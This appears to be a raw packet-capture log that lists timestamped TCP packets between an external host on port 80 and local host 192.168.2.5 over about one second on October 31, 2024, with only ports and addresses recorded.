Oct 31, 2024 02:09:14.900733948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900744915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900762081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900774002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900785923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900796890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900809050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.900810003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900821924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900826931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.900835991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900850058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.900850058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900860071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900871992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900873899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.900891066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900892973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.900907040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900914907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.900918961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900930882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900942087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900948048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900952101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.900962114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900971889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900989056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.900994062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.900999069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901005030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901010036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901026964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901038885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901040077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901048899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901063919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901073933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901076078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901087999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901094913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901098013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901108980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901122093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901129007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901133060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901144981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901154041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901164055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901165009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901177883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901185036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901189089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901204109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901206970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901220083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901231050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901232004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901297092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901297092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901732922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901782990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901806116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901815891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901828051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901842117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901853085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901854992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901885033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901906013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901921988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901931047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901942968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.901973963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.901999950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902000904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902013063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902024031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902051926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902062893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902062893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902072906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902086020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902110100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902110100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902113914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902124882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902131081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902154922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902163982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902164936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902184963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902199030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902232885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902245045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902262926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902275085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902285099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902292967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902313948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902316093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902326107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902332067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902360916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902360916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902373075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902383089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902410984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902427912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902483940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902519941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902530909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902573109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902703047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902714968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902734041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902745008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902759075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902767897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902767897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902787924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902807951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902869940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902880907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902890921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902921915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902937889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902940989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902949095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902960062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902976990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.902978897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.902990103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903001070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903009892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903012991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903037071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903063059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903069019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903084993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903095961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903111935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903120995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903132915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903166056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903189898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903206110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903217077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903228998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903238058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903240919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903259039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903285980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903316975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903330088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903340101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.903373003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.903383017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.937661886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937674999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937685966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937747955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.937782049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.937860966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937872887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937882900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937896013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937907934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937916994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.937920094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937932014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.937956095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.937964916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.938070059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938081980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938092947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938105106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938117027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938121080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.938137054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.938143015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938154936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938164949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.938167095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938179016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.938196898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.938215017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.949265957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.949282885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.949294090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.949337959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.949357986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.949515104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.949596882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.949608088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.949651957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.952651024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.952661991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.952672958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.952721119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.952735901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.952960014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953016996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953027010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953067064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953085899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953094006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953104019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953115940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953138113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953154087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953175068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953207016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953229904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953242064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953253031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953263998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953275919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953284025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953295946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953309059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953309059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953320026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953327894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953362942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953376055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953496933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953520060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953531027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953543901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953557968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953564882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953577042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953577042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953605890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953619003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953718901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953731060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953742981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953753948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953766108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953773022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953777075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953800917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953810930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953915119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953927040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953937054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.953969002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.953991890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.954488993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954535007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954551935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954564095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954575062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954581976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.954612970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.954684973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954703093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954715014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954725981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954732895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.954737902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954765081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.954790115 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.954827070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954838037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954849005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954874992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.954898119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.954942942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954953909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954965115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.954992056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955014944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955090046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955101967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955113888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955123901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955136061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955141068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955147028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955157995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955171108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955177069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955188990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955188990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955200911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955213070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955214977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955224037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955238104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955249071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955250978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955260038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955265999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955271959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.955296040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.955322981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.990823984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.990837097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.990849972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.990864992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.990875959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.990947008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.990947008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.990961075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.990972996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.990983963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.990988970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991002083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991018057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991023064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991041899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991060972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991076946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991090059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991149902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991178989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991198063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991239071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991296053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991307974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991342068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991364956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991377115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991420031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991426945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991476059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991507053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991549969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.991554022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.991589069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005482912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005501986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005511999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005553961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005619049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005630016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005640984 CET	80	49982	154.216.17.34	192.168.2.5
